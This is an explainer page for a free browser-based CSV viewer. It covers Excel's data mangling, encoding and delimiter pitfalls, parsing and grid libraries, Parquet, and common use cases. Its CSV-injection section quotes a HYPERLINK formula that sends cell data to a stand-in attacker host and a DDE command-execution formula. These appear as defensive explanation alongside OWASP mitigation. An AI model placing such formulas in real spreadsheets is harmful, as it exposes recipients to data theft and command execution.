Free CSV Viewer

Why "view CSV without Excel" is its own use case

The naive answer to "how do I open a CSV?" is "double-click it; Excel opens it." That answer is wrong for a surprising fraction of the people who actually need to look at a CSV. The reasons split into four buckets, and each one is a real reason to land on a browser-based viewer like this.

1. Excel destroys data on open. The most-cited example is the gene-name disaster, Excel reads MARCH1 and writes 1-Mar, reads SEPT2 and writes 2-Sep. The HUGO Gene Nomenclature Committee gave up fighting Excel and renamed twenty-seven human genes in 2020 because the data corruption was so pervasive. A 2020 PLOS Computational Biology paper looking at 3,597 papers found roughly a fifth of supplementary genetic data had been silently mangled by Excel's auto-conversion. Genes are the famous case but the same mechanism eats US ZIP codes (01234 becomes 1234), product SKUs with leading zeros, fraction notation in music or chemistry (3/4, 4/4), serial numbers shaped like dates (1-1, 2-2), telephone extensions, and account numbers in scientific notation (9.18e+12 instead of 9180000000000). A viewer, something that displays the raw bytes as written, is not just a convenience; it is a correctness primitive. If you have to verify a column of customer IDs survived an export intact, you need a viewer that doesn't parse, doesn't coerce, doesn't "help."

2. Excel isn't on the machine. A non-trivial fraction of laptops in 2026 don't have a Microsoft 365 license. Chromebooks ship without it; many Linux installs use LibreOffice Calc with its own quirks; many Mac users open CSVs in Apple Numbers, which silently wraps long lines and has its own number-coercion personality. Anyone trying to inspect a file on a corporate-issued machine they can't install software on, or on a borrowed device, or on a kiosk, needs a tool that runs in any browser tab without permissions.

3. The file is bigger than Excel allows. Excel 2007 introduced .xlsx and lifted the row ceiling from .xls's 65,536 rows to 1,048,576 rows (2²⁰). The column ceiling went from 256 to 16,384 (2¹⁴). For two decades that was enough for most people. It's no longer enough for many. A modest server log can produce two million rows in a week. A Shopify export of a year of orders for a mid-sized store can clear a million. A sensor stream sampling at one hertz produces 86,400 rows per day; a year is 31.5 million. Excel's handling of overflow is brutal: it silently truncates at row 1,048,576 and continues as if nothing happened. There is no warning banner. The user discovers the missing rows weeks later, if at all.

4. Mobile. Spreadsheet apps on iOS and Android are second-class citizens. The Excel mobile app exists but is gated behind a Microsoft account, has a small subset of desktop features, and is painful for inspecting wide tables on a phone. Sometimes you just need to open an attachment a colleague emailed you, glance at a few rows, take a screenshot, and reply. A CSV viewer that loads in a mobile browser, formats the data as a scrollable HTML table, and does nothing else is the best tool for that job.

And a fifth, smaller bucket: screenshot for a message. Often what a person actually wants is a clean visual of three or four rows that they can paste into Slack, into a ticket, into an email reply. Opening the file in Excel and screenshotting that produces an image with a ribbon, gridlines, the active cell selector, and the file-path strip across the top, twenty per cent of the screenshot is Excel chrome. A bare HTML table rendered in a browser tab is the cleanest possible screenshot subject.

A short history (the parts that matter for viewing)

The full CSV history is in the companion text-to-csv page, IBM Fortran 1972, decades of informal usage, RFC 4180 finally published in October 2005 by Yakov Shafranovich, MIME type text/csv registered with IANA, the W3C Model for Tabular Data and Metadata on the Web (CSVW) reaching W3C Recommendation status on 17 December 2015 (and being mostly ignored in practice). What matters for viewing specifically is that none of those documents specify how to display a CSV. There is no canonical column width, no alignment convention, no rule about whether row 1 is a header. RFC 4180 tells the writer how to escape commas; it tells the reader nothing about how to render. The viewer's job is undefined by spec.

What we have are conventions that arose in spreadsheet software (left-align text, right-align numbers, freeze the first row, alternate row colours for readability) and conventions from web tables (sortable headers, sticky positioning, search inputs above the grid). A modern CSV viewer is essentially a spreadsheet UI minus the editing.

The locale-separator and BOM traps

The locale-separator chaos that bites CSV writers also bites readers, comma in en-US, semicolon in fr-FR / de-DE / it-IT / es-ES / pt-BR, tab and pipe everywhere else. A viewer that hard-codes comma and renders a French "CSV" as a single column per row is broken on arrival. This tool's "Auto-detect" default with manual override is the right design: try to do the smart thing, but when the heuristic fails (and it will, on files with a single column of values that all happen to contain a comma), the user can pick.

The byte-order mark, the three bytes EF BB BF at the start of a UTF-8 file, encoding U+FEFF, exists because Excel on Windows refuses to detect UTF-8 without it. A polite CSV writer prepends the BOM to be Excel-friendly; the cost lands on every other reader. Almost every command-line tool, awk, cut, head, tail, older sed, treats the BOM as part of the first field. A column header that should read name reads name. Python's built-in csv module doesn't strip the BOM unless the file is opened with the utf-8-sig codec; a million tutorials use plain utf-8 and quietly produce broken parsers. If you see a strange character before your first column header, that's a UTF-8 byte-order mark, not a bug in the file, just a mismatch between encoder and decoder.

Excel's four CSV variants

Excel's Save As dialog offers four "CSV" formats, and the labels are misleading. The "Comma delimited" labels actually use the user's locale list separator, which is a semicolon in most of continental Europe and Latin America.

• CSV (Comma delimited): uses the user's locale list separator, ANSI code page, no BOM, CRLF.
• CSV UTF-8 (Comma delimited): added in Excel 2016, the only one of the four that uses UTF-8 (with a BOM).
• CSV (Macintosh): MacRoman encoding, classic-Mac CR-only line endings, largely obsolete but still showing up.
• CSV (MS-DOS): OEM code page (CP437 in en-US, CP850 in Western Europe).

A viewer that wants to "just work" on every variant has to detect encoding (UTF-8 ± BOM, UTF-16 with BOM, Windows-1252, ISO-8859-1, MacRoman, Shift_JIS, GBK), line endings (CRLF / LF / CR), separator (comma / semicolon / tab / pipe / custom), quoting style (RFC 4180 doubled-quote, backslash, none), and header presence. Detecting all of these reliably is genuinely hard. The pragmatic approach is: detect what you can, expose manual overrides for the rest, and never silently fail. This tool exposes the delimiter manually, which handles the most common surprise. It doesn't currently expose encoding, a French CSV exported as Windows-1252 with accented characters will display mojibake (é instead of é) until that gets a proper override too.

Browser-side parsing, the libraries

The dominant client-side CSV library is PapaParse, created by Matt Holt in 2013 and currently around 13.4k GitHub stars. Its tagline, "the fastest in-browser CSV parser", is not hyperbole. It's RFC 4180 compliant, MIT-licensed, dependency-free, and supports synchronous string parsing, async file parsing via FileReader, streaming chunk-by-chunk parsing for files larger than RAM, and worker-thread parsing to keep the UI responsive. PapaParse is the default in any browser-side CSV tool unless there's a specific reason not to.

On the Node side, the canonical choice is csv-parse (Adaltas, first released 2010), battle-tested, exposes both callback-based and stream-based APIs. csv-parser by mafintosh prioritises raw throughput over feature breadth. fast-csv (C2FO) is a TypeScript-built parser-and-formatter pair for shops that want both reading and writing in the same library.

Streaming for files larger than RAM

Naive CSV reading in the browser uses FileReader.readAsText(file), which reads the entire file into memory before invoking onload. For a hundred-megabyte file, that's a hundred megabytes of JavaScript heap. For a one-gigabyte file, the browser tab will run out of memory or thrash to a halt on most consumer hardware.

The modern alternative is the Streams API, available as File.prototype.stream() since Chrome 71 and Firefox 65. Calling file.stream() returns a ReadableStream<Uint8Array> that yields the file's bytes in chunks. The consumer reads from the stream, decodes each chunk via TextDecoder (with the stream: true flag so multi-byte UTF-8 sequences that straddle chunk boundaries get correctly stitched), and feeds the text to a streaming parser. PapaParse can ingest a stream directly via its step or chunk callback. The result is constant-memory parsing of arbitrarily large files.

For a viewer, streaming alone isn't enough, the rendered table has to be virtualised too, otherwise rendering ten million <tr> elements crashes the page even if parsing succeeded. The standard architecture pattern: stream-parse-to-IndexedDB on load, virtualised-render-from-IndexedDB on scroll. This tool is currently optimised for files in the low tens of megabytes, for the typical "I just want to look at this file" workflow that covers nearly everyone. For multi-gigabyte CSVs, look at desktop tools like Visidata, the DuckDB CLI's FROM clause, or csvkit's csvlook.

Sorting, filtering, pivoting, the JavaScript grid landscape

Once data is in the page, the user wants to do three things: sort by a column, filter rows, sometimes pivot. There's a whole industry of JavaScript libraries that reimplement these in the browser DOM:

• DataTables.js by Allan Jardine (work began 2008, SpryMedia formed 2011) is the granddaddy. Take any HTML <table>, get sortable headers, an instant-search input, pagination, and column-show/hide controls. jQuery-based originally; works well as a drop-in. Comfortable up to tens of thousands of rows; for hundreds of thousands the pagination becomes load-bearing.
• AG Grid by Niall Crosby (2015, born from Crosby's frustration with grids on London trading floors) is the heavyweight. Built around DOM virtualisation, only the rows visible in the viewport are actually rendered, so it can comfortably display a million rows with a single scrollbar. Free Community Edition (MIT) plus a paid Enterprise Edition (pivot tables, advanced filters, integrated charts, server-side row models). Default choice for "I'm building a serious data tool that needs to look like Excel in the browser."
• Tabulator by Oli Folkerd is the modern dependency-free alternative. Version 4.0 (2018) shed all dependencies including jQuery; sits in the sweet spot between "DataTables is too jQuery-flavoured" and "AG Grid is too much."

For pivoting specifically, PivotTable.js by Nicolas Kruchten is the most-cited JS library; AG Grid Enterprise's pivot mode is the commercial choice. Pivoting is a heavy operation often better done by exporting the data to a tool that can index it first.

CSV vs Apache Parquet for analytics workloads

The reason CSV survives is cultural and inertial, not technical. For serious analytics, the format that has eaten CSV's lunch is Apache Parquet, a binary columnar format originally developed jointly by engineers at Twitter and Cloudera in 2013, accepted as a top-level Apache Software Foundation project on 27 April 2015. Parquet stores data column-by-column rather than row-by-row, which is the inversion that matters for analytics: a query like SELECT AVG(price) FROM big_table reads only the price column from disk, skipping every other column entirely. With CSV, the same query has to read every byte of the file.

Parquet also carries schema metadata (so types are explicit, not inferred), uses columnar compression that routinely achieves 5-10x ratios over uncompressed CSV, and supports predicate pushdown so engines can skip whole row groups based on column statistics. It's the default file format on Snowflake, BigQuery, Databricks, Amazon Athena, and essentially every modern cloud data warehouse and lakehouse. If you're repeatedly viewing the same gigabyte-scale file, consider Parquet, it's faster and smaller and almost every modern data tool reads it natively. CSV is now best understood as the interchange format between humans and the long tail of consumer software, while Parquet is the storage format between machines.

CSV injection, the security angle

CSV injection, sometimes called formula injection, is the attack where a value in a CSV cell begins with =, +, -, or @, causing Excel and Google Sheets to interpret it as a formula when the file is opened. OWASP has documented this since at least 2014. The textbook example is =2+5 rendering as 7 instead of as the literal text. The dangerous example is =HYPERLINK("https://evil.example/log?d="&A1, "Click for results") which, when clicked, exfiltrates the contents of cell A1 to an attacker. The really dangerous example was =cmd|'/c calc'!A0, which on certain Excel versions could launch arbitrary commands via DDE, substantially mitigated by Microsoft's 2018 default-DDE changes, but still present in some configurations.

The standard mitigation, per OWASP guidance: when generating a CSV from user-submitted text, prefix any cell starting with =, +, -, @, tab, or carriage-return with a single quote. A viewer is the receiving end of this attack, not the originating end, but if you opened a CSV here that contains formula-prefixed cells, that's a strong hint not to open the same file in Excel without first replacing those cells. The whole point of inspecting in a viewer first is to catch exactly this kind of trap.

Real-world places people open this kind of viewer

• Bank or fintech statement CSVs. Most retail banks let customers download a year of transaction history as CSV. Customers want to look at the file before importing into a budgeting app, a tax tool, or an accountant's spreadsheet, verify the date range, count transactions, search for a specific merchant.
• IoT and sensor data exports. Weather-station CSV, soil-moisture-sensor log, smart-home electricity meter export. Often tens of thousands of rows. The user is confirming sampling continued through a particular interval and there are no gaps.
• Server log dumps. Apache combined log format converted to CSV, syslog records exported via logger -t, application logs shipped to S3 and downloaded for inspection.
• CRM and SaaS exports. Salesforce Account export, HubSpot contacts, Stripe customers, Mailchimp audience, Shopify orders, Notion database. Every SaaS platform has its own CSV format and quirks. The user is inspecting before bulk-edit, before re-import, or before handing the file to a colleague.
• Survey responses. Google Forms, SurveyMonkey, Typeform, Qualtrics, all export CSV by default. Researchers want to look at the open-text responses, get a sense of distribution, verify nothing is empty.
• Public-data downloads. Government open-data portals (data.gov, data.gov.uk, the EU Open Data Portal), Wikipedia data exports, scientific data repositories. CSV is the universal denominator.
• Bulk import preparation. The user assembled a CSV by hand or with another tool and wants to verify it's well-formed before uploading it to a system that will silently reject malformed rows. The viewer is the dry-run.
• Inheritance. A colleague sent a CSV. The user doesn't know what's in it. They want to glance at it before deciding whether to engage with it more deeply.

More questions

How big a file can this open?

The current implementation is comfortable with files in the low tens of megabytes, the kind that fit easily in browser memory and render as a reasonable HTML table. For files in the hundreds of megabytes or larger, the page will get slow; for files into the gigabytes, the browser tab can run out of memory and crash. For very large CSVs, look at desktop tools like Visidata, csvkit's csvlook, or DuckDB CLI's FROM 'file.csv' SELECT.

Why does my CSV look like one giant column?

The auto-delimiter detection guessed wrong. This is most common when the file uses semicolons (most of continental Europe), tabs (TSV files mislabelled as CSV), or pipes (some database exports). Switch the delimiter dropdown to the correct character, often the file extension and the actual content disagree.

My accented characters look like garbage. What's wrong?

Encoding mismatch, the file is encoded in Windows-1252 (or another non-UTF-8 encoding) and the tool is interpreting it as UTF-8. The classic symptom is é showing up as é. The current viewer doesn't expose an encoding override, but you can re-save the file as UTF-8 in any modern text editor (Notepad++, VS Code, BBEdit, gedit, even Notepad on recent Windows) and re-open it here.

Should I use this or just open it in Excel?

If your CSV contains only data Excel can't accidentally corrupt, pure prose text columns, plain integers in a normal range, dates in the format Excel expects, Excel is fine and the editing tools are richer. If your CSV contains anything Excel might rewrite (gene names, ZIP codes with leading zeros, fractions like 3/4, scientific-notation-shaped strings, anything you need to preserve byte-for-byte), open it in a viewer first to confirm what's actually in it before letting Excel touch it. The hour you spend opening it here is much cheaper than discovering a week later that Excel renamed your gene set.